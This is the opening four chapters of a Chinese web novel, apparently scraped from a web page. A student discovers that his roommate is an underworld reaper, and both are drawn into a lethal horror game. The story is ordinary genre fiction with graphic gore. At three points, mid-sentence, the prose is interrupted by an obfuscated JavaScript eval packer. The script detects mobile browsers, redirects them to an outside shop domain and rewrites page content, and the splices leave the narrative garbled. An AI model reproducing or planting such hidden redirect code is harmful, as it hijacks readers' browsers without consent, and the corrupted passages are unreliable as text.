《地府无常,但穿进恐怖游戏》 1. 001 2026年6月19日。 我永远忘不了这天。 因为今天是大三的最后一天,结束今天的课程,我就可以放暑假啦! 也因为今天是端午,我收到很多朋友发的端午节祝福,还吃到舍友买的咸蛋黄肉粽! 更因为今天……是我的死期。 今天,我死了。 ——许墨阳 * 创意学院的设计课排在晚上。 今晚是最后一节课,这门课不考试,教授也不点名,期末交篇课程论文就行。 课才上到一半,已经有学生摸出手机,悄悄订着放假回家的票。 许墨阳没订票,他是本地人,拎个包就能走。比起回家,他更关心暑假的出游计划。他们宿舍四人约好暑假一起去旅行,现在在群里聊暑假的行程安排。 讨论了好一会儿,大家决定把每个人的家乡都逛一遍。许墨阳是申城人,申城就不去了,另外两个一个山城的,一个钱塘的,都可以去逛逛。 [包子:对了,陆哥老家哪儿的?咱们也去陆哥老家转转啊!] [键盘:陆哥不是申城的吗?] [包子:不啊,上次我听他说暑假不在申城。] ——陆哥全名陆烬,也是许墨阳的舍友。 许墨阳挠了挠头,有些疑惑。他记得陆烬是申城的,两人高中还是一个学校的。 他转过头,看向坐在身边的青年。青年模样出挑,懒散地靠着椅背,即便穿着烂大街的T恤牛仔裤,在人群中还是一眼能认出他。 他耷拉着眼皮,长睫毛在眼下投出一小片阴影,一手漫不经心托着下巴,另一手灵活地转着一支黑色钢笔。 下课铃声清脆响起,教授抿了口枸杞茶,宣布休息十分钟。包子和键盘立刻像脱缰的野马蹿到他们面前。 包子拍了拍陆烬的胳膊,“陆哥,你老家哪儿的?咱们暑假去你老家玩呀!” “我老家?”陆烬挑了挑眉,“那鬼地方,你们不会想去的。” “不是旅游城市也没关系!”包子说,“咱们可以去周边逛!” 陆烬转笔的动作顿住。 “还是别了。” 他家周边?更糟糕。 有命去没命回的那种。 包子和键盘面面相觑,气氛一时有点尴尬。还是许墨阳反应快,打着圆场,“好玩的地方多着呢,不去也没关系,是吧?” 大家顺势转移话题,又开始叽叽喳喳讨论别的城市。 但许墨阳大概能猜到,陆烬为什么不愿意同学去他老家。两人高中就认识,陆烬虽然没有明说,但许墨阳知道,陆烬的家境不太好。 许墨阳还记得刚认识陆烬那年,是个特别冷的冬天,高一第一学期快结束了,陆烬才转来他们学校。 那时申城刚下过雪,草垛上结着冰棱,寒风跟刀子似的,刮在脸上生生的疼。 可那样一个刺骨的天气里,陆烬只穿着一身单薄的黑色卫衣,跟着他头发花白的奶奶来教务处报到。 许墨阳那天正好去教务处帮同学拿卷子。路过时,听见陆烬奶奶用带着口音的普通话,“俺们村没学校,娃儿可能跟不上,麻烦老师多照看照看了……” 之后,班主任让作为班长的许墨阳带陆烬参观学校。 都是常规流程,一切如常,可偏偏在食堂充值饭卡时,陆烬从那个旧布包里掏出一沓红绿的冥币。 现场所有人都惊呆了,充值窗口的小姑娘更是吓傻了。 而当事人,却淡定地把冥币揣回兜里,面无表情地说,“拿错了,你们不用这个。” 其他人:“?” 什么叫“你们不用”? 正常人都不用冥币啊! 发现周围人还用惊疑不定的目光看他,陆烬又补充了一句,“……是我奶奶拿错的。” 听到这话,周围人的目光才渐渐转好,继而变成了同情。同情这个家境不好的新同学,同情他家里那个脑子不好的奶奶。 * 那是六年前的事情了。 现在的陆烬,和过去那个穿着单薄卫衣的农村小孩相去甚远。 这几年他蹿得飞快,以前瘦瘦小小一个,现在却长到了185,肩宽腿长,肌肉线条流畅,随便一件普通T恤穿在他身上,都像衣架子。 但陆烬还是不愿意同学去他家。 可能骨子里还是自卑吧! 许墨阳没强求,包子和键盘也识趣地没再提。 晚上九点,课程准时结束。学生们抄完最后一节要点,三三两两地收拾东西离开教室。 键盘利索地收好书本,凑到陆烬和许墨阳身边,“兄弟们!我明天的车票,今晚烧烤走一波?就当提前庆祝放假了!” 许墨阳和包子举双手赞成。 陆烬也没意见,但表示自己有点事,估计要晚一会儿到。 许墨阳咧嘴一笑,“没事,我也要去大学路那边接瑶瑶呢!咱们分头行动。” 四人一拍即合,聚餐就这么定下来。 包子和键盘先回宿舍,许墨阳叫了辆网约车,去大学路接女朋友。 陆烬单肩背着包,两手插在裤兜里,慢悠悠地走出教学楼。 他走得很慢,等走出教学楼时,周围已经没剩几个学生了,只有路灯把他的影子拉得老长。 陆烬掏出手机,屏幕亮起,一个没有图标的APP界面上,跳出一行通知: 【临时任务: 申城有恶鬼作祟,常冒充网约车司机残害乘客,需无常尽快处理。 恶鬼姓名:黄有权 恶鬼等级:C级 恶鬼罪名:逃窜人界,伤人致死。 是否接受任务?】 陆烬手指在屏幕上一划,点了【是】。 * 许墨阳觉得自己运气爆棚,选的是最便宜的网约车类型,居然一秒就有人接单了。 他走出校门时,一辆香槟色的比亚迪已经安静地停在路边。许墨阳麻溜地上了车,系好安全带。 “师傅,麻烦开快点,我赶时间!” “好嘞。” 司机应了一声,握着方向盘,缓缓踩下油门。已经很晚了,马路上的车流稀疏,车速渐渐提了起来,窗外的景观一晃而过。 “去接女朋友?”司机问。 “对呀!”提到瑶瑶,许墨阳脸上不自觉地扬起笑,“她在大学路的酒吧做服务员,太晚了,我去接她回学校。” “酒吧啊……” 司机拖长了语调,手指有一下没一下地敲着方向盘,“那地方乌烟瘴气的,正经女孩谁去酒吧?” 许墨阳蹙眉,心里有点不舒服,“师傅,你想说什么?” “没什么,闲聊嘛。”司机干笑了两声,“就是提醒你,眼睛擦亮点。女孩子半夜三更在那地方,见的听的,可比你想的要多得多……心思嘛,自然也活络多了……” “我女朋友只是在酒吧做服务员!”许墨阳硬气起来,“请你说话放尊重点!” “尊重?我当然尊重啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998968|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>司机笑得阴恻恻的,在安静的车厢里格外吓人,“我当年也尊重我老婆……给她钱花,给她房子住。可她呢?” 他的声音猛地拔高,变得歇斯底里,“她用我的钱,买香水!买裙子!去伺候那个野男人!我一回到家,满屋子都是那恶心的香水味!” “你女朋友是不是也有那种味道?”司机缓缓的转过头,脖颈发出“咔咔”的声音,“你闻闻……你仔细闻闻……是不是和我老婆一样……贱人的味道?” 许墨阳浑身汗毛倒竖,“你有毛病啊?停车!我要下车!” 他扑到旁边去开车门,手掌却按在了湿滑的门把上。不知何时,车内四壁渗出黏稠的红色液体,显得触目惊心。一双惨白的手更是从脚下的阴影处伸出来,猛地抓住许墨阳的脚踝! 许墨阳:“!!!” “停车?做梦呢!” 司机的脑袋转了一百八十度,正对着许墨阳,脖颈扭曲如麻花,眼眶里渗出血液,嘴里更是长出骇人的獠牙。 “你也有那贱人的味道!你就是那奸夫!你们都是一路的!骗我!你们都在骗我!死了干净!一起死了好!” 紧接着,司机猛踩油门,车速狂飙,车辆失控地冲向高架护栏! 许墨阳大惊,扑上前想抢方向盘,阴影里的那双手骤然变长,突然掐住了他的脖子,窒息感袭来,许墨阳的视线逐渐模糊…… “轰——!” 在比亚迪即将撞上护栏的瞬间,一声巨响,仿佛巨石从天而降,重重砸在车引擎盖上! 高架路面被砸出个浅坑,疾驰的车速瞬间归零。 引擎盖上的男人缓缓站起身,隔着挡风玻璃,许墨阳看不到他的脸,只看到了他笔挺的黑色西裤。 男人单手插在西裤口袋里,另一手拎着柄漆黑的苗刀,动作利落地从引擎盖上跳下来。 司机的四肢以诡异的角度拉长,佝偻着背趴在地上,像只巨型蜘蛛,猛地朝西装男扑去! 许墨阳:“小心!” 西装男的动作更快,身体一侧,手中带鞘的苗刀往下一捅,把司机脑袋狠狠砸进水泥地面! 许墨阳:“!!!” 牛顿的棺材板都压不住了。 他挣扎着,踉踉跄跄地爬出网约车,抬头看向西装男。 逆光里,对方的轮廓有点熟悉。 “陆……陆哥?” 陆烬没听见许墨阳的声音,掏出手机对照着屏幕上的任务信息。 “黄有权?C级恶鬼,逃出冥界,残害三条人命,现在抓你回地府。” 说完,陆烬举起手机对着司机拍了张照,那团东西瞬间化作一缕黑烟,被吸进了手机里。 处理完这一切,陆烬才转过头,看向呆若木鸡的许墨阳。 四目相对—— 陆烬:“……” 许墨阳:“……” 许墨阳脑袋一团浆糊,一肚子问题卡在喉咙,不知从何问起。 就在此时,不远处的校门口传来惊呼声,警车、救护车的鸣笛声、还有路人讨论的声音,都交织在一起。 “学校也出事了?”许墨阳喃喃自语,“今晚真是多事之秋啊!” 然后,许墨阳看到,急救人员冲到一个昏迷的大学生旁边,除颤仪“滋滋”地电击着大学生的胸口。 许墨阳突然感觉一股电流窜过身体,电击得他浑身发麻,脑袋一片空白。 他猛地抬头,看向被急救人员围住的那个身影—— 躺在地上被抢救的人,是他。 2. 002 许墨阳觉得手脚冰凉,路人来来往往,全当他是空气,甚至有人径直穿过了他的身体! 原来,他已经死了啊。 他想起来了,在上网约车之前,那辆车已经撞向他。他在上车前就已经死了。 许墨阳看向陆烬,声音颤抖,“陆哥……你是无常吗?” 陆烬点了点头。 “我是不是也要去阴曹地府了?” “是得去一趟。” 死亡的恐惧瞬间攫住了他,许墨阳的眼眶唰地红了。他才二十一岁,人生还没开挂就直接挂了? “陆哥,瑶瑶和包子还在等我……能不能让我再见他们最后一面?” “还有我存的钱,本来想给瑶瑶买包的……” “还有我的奖学金!我死了都没领呢!” 听着他絮絮叨叨,陆烬不耐烦地揉了揉太阳穴,“谁说你死了?” “你不是要带我去地府?那不是死人去的地方吗……等等!”许墨阳瞪大眼睛,“你的意思是我还没死?” 陆烬从西装内衬口袋掏出一张质感奇特的临时身份证,随手丢给他。 几乎同时,旁边正在被抢救、毫无心跳的“许墨阳”,胸口猛地起伏了一下! “还有心跳!还有救!” 急救人员惊呼着,立刻将人抬上救护车,鸣笛声渐渐远去。 许墨阳捏着卡片,手指都在抖,“我没死?我还能回去?” “嗯,”陆烬说,“被恶鬼杀死属非自然死亡,去地府办个复生手续就行。” 许墨阳开心地跳起来,“陆哥,你怎么不早说!” 陆烬瞥了他一眼,“你也没早问。” 复生手续得去地府办。陆烬周身泛起一层淡雾,笔挺的西装渐渐隐去,变回了穿T恤牛仔裤的青涩大学生。 他走到路边,扬了扬下巴,“走了,速度快点,没准还能赶回来吃烧烤。” 一辆银灰色的巴士悄无声息地驶来,稳稳停在两人面前。 车门自动滑开,陆烬抬脚上车,许墨阳赶紧跟上。 * 巴士里空无一人。 两人上车后,车门自动关闭。陆烬找了个后排座位坐下,抱臂闭目养神。许墨阳立刻凑过去,好奇地各种询问: “陆哥,你真的是无常啊!” “你们无常也要上大学?好洋气啊!” 陆烬本来不想接话,但听到这句,无奈地睁开了眼。 “因为政审没过。” “?”许墨阳一脸懵。 “地府无常考试,我笔试面试都过了,但政审卡住了,因为我没有大学文凭。” “你们地府还看这个?” “是啊。”陆烬也郁闷。一个地府公务员考试还看这个?导致他到现在都是临时工,必须来人界拿到大学文凭才能转正。 “其他也别问了,”陆烬换了个舒服的坐姿,“反正等你复生后,都会忘记的。” 接下来,陆烬是真的睡着了。 许墨阳没再打扰,兴致勃勃地看着窗外。巴士像幽灵般穿梭在城市,窗外景象飞速后退。 穿过大片城市景观后,巴士被浓雾笼罩,周围一切都变得模糊不清。 陆烬突然睁开眼。 就在他眨眼的瞬间,巴士上突然出现六个人影! “啥情况?”许墨阳往陆烬身边缩了缩,“我还以为乘客上车都得走车门呢!” 还能直接飘上来啊? 陆烬面无表情地看着前排的六个人。如果说在人界撞鬼是恐怖故事,那么在冥界交通工具上遇到活人,也应该是恐怖故事了。 而且,一下来了六个。 突然,昏暗的车厢亮起刺眼蓝光,一个巨大的半透明投屏出现在中央,机械又稚嫩的童声响起: 【欢迎来到《黄泉》游戏!】 【8名玩家已到齐,D级副本《清川民宿》即将开启!】 【预祝玩家游戏愉快~】 许墨阳满脑子问号。 不是去地府办手续吗?怎么突然要玩游戏?还能不能准时回去吃烧烤啦? 他茫然地看向陆烬,指望这位地府知情人士能给答案。 但陆烬没比许墨阳好多少,懒散的眸子里也露出几分错愕。 他甚至比许墨阳还茫然,偏头问他,“《黄泉》游戏是什么?” 许墨阳指着自己,“你问我?” 你不是无常吗?你居然问我?! “你玩的游戏比我多,”陆烬理直气壮,“你应该懂。” 许墨阳:“……” 懂个球!他是喜欢玩游戏,但没在这种灵车交通工具上玩过啊! 两人面面相觑,都是一脸懵。 前排的“玩家”也不遑多让,突然被扔到陌生的巴士,窗外是望不到边际的浓雾,每个人眼里都满是恐惧和茫然。 “我不是在家里睡觉吗?” “我明明在刷手机……” “这整蛊节目吧?” 只有两个人显得格外镇定,他们随意坐下,扫了眼其他人,语气嫌弃,“不会吧,这副本这么多新人啊?” “不是说D级副本?新人比例高得离谱了!” 其他人纷纷看向他们,“你们知道现在是什么情况?这里到底是哪里?” 坐在过道旁的男人打了个响指,吊儿郎当地晃着腿,“听过无限流游戏吗?我们被拉进无限流游戏了。这游戏叫《黄泉》,只有通关了才能离开。” 这解释太虚,玩家们依旧茫然。他们多是上班族,每天累死累活,哪有空玩游戏。 倒是许墨阳,倒吸一口冷气,悄悄凑到陆烬耳边,“陆哥,我知道这个!这类游戏里,不能通关的玩家都死了!” 他声音压得很低,本只想说给陆烬听,可巴士太安静,其他玩家都听见了。 一瞬间,所有人脸色“唰”地煞白,血液像被冻住似的,一寸寸凉到心脏。 只有那两名老玩家神色如常,满意地点点头,“没错,这款游戏也一样。” “要么通关,要么死。” 巴士陷入死一般的沉寂。 换作平时,被人告知卷入死亡游戏,多数人是不信的。 但现在,他们莫名出现在无人的巴士里,周围全是浓雾,一切都变得诡异起来。 一个身材健硕的大汉突然冲出来,指着两个老玩家怒吼, “什么年代了?无人驾驶巴士算什么?现在都有无人驾驶出租车了呢!你们肯定是搞整蛊的!放我们出去!不然告你们绑架!” 老玩家耸耸肩,“信不信由你。” “你——!” 大汉怒目圆瞪,想上前揍人,被新玩家们拦住。 “反正这破游戏,谁爱玩谁玩,老子不奉陪!”说着,他拉开窗户,踩着座椅就要跳下去。 “等等!” 陆烬站起想阻止,但距离太远。等他冲过去,大汉已纵身跳了出去。 “嘭!” 窗外炸开一团血雾,鲜红滚烫的液体溅了后排玩家一脸。 那玩家本也想跟着跳窗,此刻被血糊了眼,他下意识伸手摸了一下……全是血。 巴士里顿时炸开锅,尖叫声、哭喊声、慌乱的脚步声混作一团。 这时,系统冰冷的童声再次响起: 【叮——】 【玩家赵宽死亡。】 … 系统通告后,玩家们瞬间安静。 死亡的实例摆在眼前,新玩家们终于明白,这不是绑架或诈骗,这是真会死人的无限流游戏。 “这就是乱来的下场!” 老玩家关上窗,语气警告,“我早说了,只有通关才能离开,急也没用。老老实实玩游戏就行……你干什么!” 他突然拔高声音,因为看到刚才冲出来的年轻人竟也打开了车窗,把手伸进了浓雾里。 浓郁的血腥味飘进来,几滴滚烫的血珠溅在老玩家脸上。 陆烬收回手,手上还沾着温热的血液。 “看来,真的出不去。” 老玩家:“?” 刚才赵宽的死还不够说明问题吗?玩家出不去不是明摆着? 但陆烬没多说,只是接过许墨阳递来的纸巾,慢条斯理地擦掉手上的血。 玩家出不去他不意外,让他意外的是,无常也出不去。 … 巴士里一片死寂,新玩家们总算认清现状,知道通关是唯一的活路。 系统面板再次亮起,开始介绍副本背景: 【你们是清川民宿新招聘的员工,正在前往民宿的路上!】 【黄老板最近烦心事很多,心情特别不好!作为员工,你们要努力让老板开心,为老板排忧解难~】 【任务一:查清老板的烦恼,为老板排忧解难~】 【时限:6小时】 【超时未完成,随机惩罚一名玩家~】 介绍完后,面板又跳出一行红字: 【友情提醒:本轮游戏危险区玩家——陆烬、许墨阳、于楠】 前面的介绍是蓝色字体,最后这行却是红色,所有玩家瞬间警惕。 “危险区玩家?什么意思?”一个戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998969|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼镜的男生颤声问。 “字面意思。”老玩家靠在椅背上,“系统判定这几个人最弱,觉得他们死得最快。BOSS惩罚也爱盯着他们。” 问话的玩家瞬间僵住,他本就瘦弱,脸色白得像纸。 老玩家饶有兴趣地打量他,“你是哪个?陆烬?” 玩家连忙摇头,“于楠。” “那还行啊!”老玩家耸耸肩,“排危险区第三,又不是第一,还有活路。这游戏里,危险区第一的玩家也叫倒一玩家,死得最快,死亡率100%。” 许墨阳:“怎么可能?” 老玩家斜他一眼,“这可是无数老玩家用命总结的经验,不可能有错。” 许墨阳眉头紧锁,忍不住瞥向旁边的陆烬。 说自己是危险区玩家,他认。他刚出车祸,身体还在抢救,被判定弱很合理。 于楠看着病恹恹的,进危险区也说得过去。 但陆烬?搞笑的吧?陆哥一个能打他两个啊! “所以……” 老玩家没注意许墨阳的心理活动,扫了眼剩下的玩家,“现在最该担心的,是这位叫‘陆烬’的朋友啊!” 游戏能不能通关还不好说,但按倒一玩家的死亡率,陆烬是走不出这游戏了。 … 巴士继续前行,周围浓雾稀薄了些,前方隐隐透出光亮。 “这巴士要开多久?”于楠问。 “快了,”老玩家说,“副本开始前都有几分钟准备时间,既然大家知道情况了,不如自我介绍一下?等会儿说不定还要合作。” 自我介绍无非是报个名字,方便称呼。 话多的那个老玩家率先开口,“我叫谢志,以前是干装修的,现在工作辞了,这是我第五次下本。” “蒋恒,”一直沉默的老玩家也开口了,“这是第四次下本。” 蒋恒坐在谢志右边,大家便默认顺时针轮流介绍。 接下来是于楠,他神情颓然,“我叫于楠,没有工作,身体不好,一直待在家里。” 谢志点点头,这样的情况,进危险区也不奇怪。 然后轮到许墨阳。 大家都看向他。 许墨阳也发现,在这辆巴士上,玩家都能看得到他。在系统计算玩家人数的时候,也把他算上了。 虽然不知道为什么,但他和陆烬小声讨论过,决定不暴露鬼魂身份,老老实实装玩家。 “我叫许墨阳,大学生。” 接着是陆烬。 他抬了抬眼皮,两手插兜,眼神带着没睡醒的倦意,“陆烬,也是大学生。” 名字一出,所有人都看向他,目光里有怜悯,有同情,甚至还有几分幸灾乐祸。 这可是倒一玩家,玩家中最弱的存在,副本里最容易死的人。 可陆烬明明身量高挑,露出的小臂遒劲有力,T恤下能看出蓄满力量的薄肌,除了那双睡不醒的眼,看着十分健康。 但系统判定从不出错,这人估计有什么致命弱点。 反正都是要死的人,谢志没兴趣追问。他和蒋恒合起来参加过九次副本,就没见过倒一玩家能活到最后。 对于死人,没必要了解太多。 下一个介绍的玩家叫方圆,是个程序员,戴着厚眼镜,说话温声细语。 最后一名玩家坐得较远,在驾驶座后排。 他一直坐着,没站起来。大家看向他,才发现他身量比陆烬还高,有190,狭窄的座位容不下他的大长腿,腿只能伸到过道上,半曲着。 他回头看向众人,眉梢轻挑,声音漫不经心,“我?我叫江随。” “职业的话……编辑吧。” 很普通的介绍,没什么记忆点。毕竟江随不是危险区玩家,也不是老玩家,大家只当他是凑数的。 顶多觉得他那张脸太惹眼,垂落肩头的卷发像未被驯化的藤蔓,衬得他的五官深邃立体,当明星都绰绰有余。 可都到无限流游戏了,长得帅又不能当饭吃。陆烬不也长得帅?还不是要死? 其他新玩家纷纷围到谢志和蒋恒身边,想跟着大佬通关。 只有陆烬,掀了掀眼皮,目光落在前排的江随身上。 很少有人注意到,“危险区玩家”几个字出现时,除了老玩家,多数新玩家是警惕或茫然的。 只有江随。 这位上车后就波澜不惊的朋友,脸上罕见地闪过一丝诧异。 而那诧异,显然不是因为“危险区玩家”这几个字。 陆烬看得很清楚,江随诧异的,是“陆烬”这两个字。 3. 003 巴士在民宿门口停下来。 天光大亮,半个小时前申城还是晚上,这里却已经是白天。大抵在某个风景区附近,清川民宿周围的环境很好,山峦起伏,空气清新,景致也很不错。 车门自动打开,蒋恒和谢志率先下车。 刚走到车门口,蒋恒突然转过身,“忘了说,通关游戏没有捷径,但有前辈总结的几条守则,能增加在副本里的存活率。” 新玩家们都期待地看着蒋恒。 “1、努力获得NPC的好感。” “2、不要和NPC唱反调。” “3、如果看到BOSS,掉头就跑!” 新玩家将这三条规则牢记于心。 毕竟是第一次进入副本,在没有经验的情况下,听前辈的话总不会错。 众人陆续下车,民宿的大门被推开,胖乎乎的民宿经理领着他的小助理,骂骂咧咧地冲下台阶。 他一边走一边点着手表,“都几点了几点了!新来的员工怎么还没到!磨磨蹭蹭的!” 瞧见巴士停在民宿门口,经理快步走上前。他秃顶的脑袋在阳光下油光锃亮,老花镜片后是一双眯成缝的小眼睛。 “你们怎么这么慢!这个时间才到!还有好几间客房没收拾呢!”经理的语气十分不耐烦。 蒋恒上前一步,陪着笑脸,“抱歉,在路上耽搁了,我们马上就开始工作!” “赶紧的吧!别再磨磨蹭蹭耽误时间了!”经理满脸不爽地甩话,唾沫星子差点喷到蒋恒脸上,“老板最近心情很差,要是被他逮到你们偷懒不干活,有你们好受的!” 说罢,经理开始清点人数,又吩咐身旁的助理去拿新员工的制服。 他伸着手指,来来回回数了两遍,突然“咦”了一声。 “怎么少了一个?” 话音未落,身后传来一声巨响。巴士侧边放置行李的小门自动弹开,一具血肉模糊的尸体从里面滚落出来。 那尸体像被什么锋利的东西切割过,从脖子到小腹被剖开一道狰狞的口子,白花花的肠子混着暗红的污血淌了一地。 “呕——” 新玩家们哪见过这场面,顿时胃里一阵翻江倒海,捂着嘴跑到旁边的花坛边干呕起来。 谢志和蒋恒的脸色也难看到了极点。 唯有经理,眼睛倏地亮了,激动地冲上前。 “死人了呀!”他的声音里透着一股近乎狂热的欣喜。 然而,在看清那具早已血肉模糊的尸体后,经理却失望地叹了口气,还摇了摇头,语气里满是惋惜。 “死了有段时间,不新鲜了,唉,还是活人最好吃啊……” * 接下来,经理带着玩家们去员工宿舍。 大概是被他方才那番骇人听闻的话吓到,一路上,玩家们都低着头,大气都不敢出。 这民宿里的工作人员,乍一看和普通人一般无二,但考虑到这游戏的诡异属性……这明显只是他们的伪装。 他们是NPC,他们不是人。 走到民宿前台时,众人瞥见旁边的墙上挂满了照片:有游客的留影,也有民宿员工的合照。 “喏!” 经理抬手指向其中一张,“这是老板,他最近不在民宿,但你们要是撞见了,可得认得出人。” 玩家们纷纷抬头看去。 那是一张全家福,除了老板,还有他的妻子、孩子,外加一位老妇人,一家四口其乐融融,看起来温馨和睦。 照片里的老板约莫三十岁的年纪,穿着朴素的polo衫,怀里抱着个三岁左右的小男孩,眉眼间满是笑意,看着十分和善可亲。 于楠小声嘀咕,“老板是副本BOSS?看着挺正常的啊!” “只是看着正常罢了,”蒋恒的脸色冷了下来,声音都变得僵硬,“副本里的BOSS,没一个是正常的。” 他说这话时,双肩控制不住地颤抖,显然还没从之前副本BOSS留下的阴影中走出来。 方圆咽了口唾沫,小心翼翼地问,“副本BOSS……都很可怕吗?” 谢志嗤笑一声,“忘了赵宽是怎么死的了?副本BOSS,只会比杀死赵宽的怪物更残忍、更恐怖百倍!” 一想到那具血肉模糊的尸体,玩家们顿时汗毛倒竖。连带着照片里老板那温和的笑容,此刻也显得格外阴森渗人。 陆烬压根没看照片。 他实在太困,眼皮都在打架,忍不住打了个哈欠。如果可以,他希望这破游戏能早点结束,好回去睡个安稳觉。 可身后的许墨阳突然拽了拽他的胳膊,指向那张BOSS的照片,压低声音,“哥!这BOSS有点眼熟!” 陆烬漫不经心地瞥了一眼。 照片的纸页已经泛黄,里面人物的穿着也十分复古,显然有些年头了。 而照片里的男人,五官周正,笑容温和,看着确实有点眼熟,好像在哪儿见过。 许墨阳又扭头看了眼贴在墙上的民宿经营执照,上面标注了民宿老板的名字。 “黄有权?这名字也挺耳熟的,我好像听过……但到底是在哪儿呢?” 陆烬沉默了两秒,提醒道,“网约车,司机。” “啥?” “那个想杀你的司机。” 许墨阳猛地睁大眼睛。 他上车时是晚上,车内光线昏暗,司机一直背对着他,直到最后那脑袋一百八十度转过来,他才在极度的恐惧中匆匆瞥见对方扭曲的脸。 只是当时情况太诡异,他又吓得够呛,压根没记住司机具体长什么样。 现在经陆烬一提醒,再对比照片,这民宿老板,可不就是那个网约车司机嘛! 许墨阳眨了眨眼。 陆烬也眨了眨眼。 本来,许墨阳心里还有些发怵。 但现在,好像也没那么害怕了。 “陆哥,”许墨阳凑近一步,声音压得更低,“那BOSS……现在还在你手机里吧?” “嗯。”陆烬懒懒散散地应了一声,“关着呢,没出来。” 很好。 攻略无限流游戏,游戏还没开始,BOSS已经被抓了。 这游戏还要玩吗? * 经理把玩家们领到员工宿舍,助理拿来七套员工服,分发给玩家们。 经理叉着腰,催促道,“赶紧换衣服出来,今天的活儿很多呢!” 玩家们立刻开始换衣服。 今天这批玩家都是男人,大家也没去找隔间,直接在宿舍换。 陆烬拿着衣服走到谢志身边,用指节示意性地敲了敲他身后的门。 谢志吓了一大跳,猛地拿出一根奇怪的烟头对准陆烬。在看清是玩家后,谢志松了口气,收回烟头。 “别突然出现在人身后啊!怪吓人的!” 陆烬倚着门框,“有事请教。” “什么事?” “抓了BOSS,能直接通关游戏吗?” 谢志猛看向陆烬。 其他玩家也听到陆烬的声音,不可置信地看着他。 谢志简直语无伦次,“你、你刚刚说什么?” “直接抓住BOSS,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998970|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通关游戏吗?”陆烬好脾气地重复了一遍。 大概是陆烬的话太过离谱,在这样紧张恐怖的环境下,谢志竟然被逗笑了。 “你当BOSS是什么?菜市场的大白菜?公园里的小金鱼?你想抓就抓吗?你一个倒一玩家,你不被BOSS抓就不错了!” “梦想要有的,”陆烬认真地说,“万一实现了呢?” 谢志:“……” 其他玩家:“……” 蒋恒忍不住咳嗽了一声,比起谢志他更有耐心,主动和陆烬解释,“抓了BOSS也没用,副本通关的关键是完成系统给的任务。” “哦,”陆烬的语气明显失落,不死心地追问,“那杀掉BOSS呢?” 众人:“???” 单纯的作死已经不能满足你了吗?还得反复在雷区蹦跶? 谢志和蒋恒面面相觑,他们突然能理解为什么陆烬身体素质不错,在一众新玩家中居然被系统标记为危险区玩家,甚至排在第一。 不作死就不会死。 陆烬可能是作死第一名。 “杀了BOSS也没用,”蒋恒继续解释,“还是要完成系统给的任务才能通关。” 陆烬对这个答案非常不满意,这就和考试时抓了监考老师,却依然不能考满分一样。 所以要这BOSS何用? 废物一个嘛! … 不能从BOSS这边走捷径,陆烬只能把手机又揣回口袋。 玩家们大多没把陆烬的话当回事,除了知情的许墨阳外,剩下的人都觉得这个新人是在哗众取宠。 什么抓BOSS杀BOSS通关,说得轻巧,真遇到BOSS,还不是被吓得屁滚尿流? 年轻人,不知天高地厚啊! 玩家们换好衣服,依次前往客房区打扫卫生。 完成系统任务很重要,可现在他们还得先完成NPC指派的任务,得先保证这些诡异的NPC不主动攻击他们才行。 谢志和蒋恒故意磨蹭着,落在了最后。 等所有玩家都离开后,谢志谨慎地走到门口望风,蒋恒则鬼鬼祟祟地掏出了一个纯黑色、封面没有任何标识的笔记本。 这是他们之前在游戏商城抽到的盲盒道具【证据笔记本】。这是一次性道具,效果是在下一次副本中,能无偿得到一条关于通关的关键证据或线索。 游戏开始后,谢志就悄然使用了证据笔记本,跳过了寻找线索的繁琐过程,成功把关键证据握在了手中。 “东西藏好点,”谢志低声提醒,“别让其他玩家发现了。” 蒋恒眼中闪过一丝犹豫,“没有关键证据,玩家攻略的难度会更大。危险区玩家一个都活不了,真要这么做吗?” 谢志嗤笑了一声,“哟,这就心软了?蒋恒,当初想多赚点积分、兑换更长休息时间的人,不是你吗?” “有了关键证据,副本通关率能提高30%,运气好的话,几乎死不了几个人。” “可凭什么呢?凭什么我辛辛苦苦得到的道具,要便宜别人?” 副本通关后,系统会结算积分。虽然每个玩家对任务的贡献值会影响最后积分,但总体而言,积分大多在平均值上下浮动,差距不会太大。 关键是人头。 活下来的玩家越多,均分后的奖励积分反而越少。 所以,得到这么好的道具,谢志不想、也不愿意和别人分。 他要独吞副本奖励。 “这个副本,最后能活下来的只有你和我。”谢志的声音冰冷,“不会再有第三个人了。” 4. 004 十分钟后,玩家们在客房区集合。 走廊的声控灯忽明忽灭,光线在斑驳的墙面上投下晃动的影子,七个模糊的人影挤在狭窄的过道里。 换算成正常时间,此刻已将近零点。忙碌了一个白天,夜里又被拽进这恐怖游戏,大家的精神都高度紧绷,眉宇间难掩疲惫。 经理走在玩家们前面,背着手慢悠悠地踱着步。 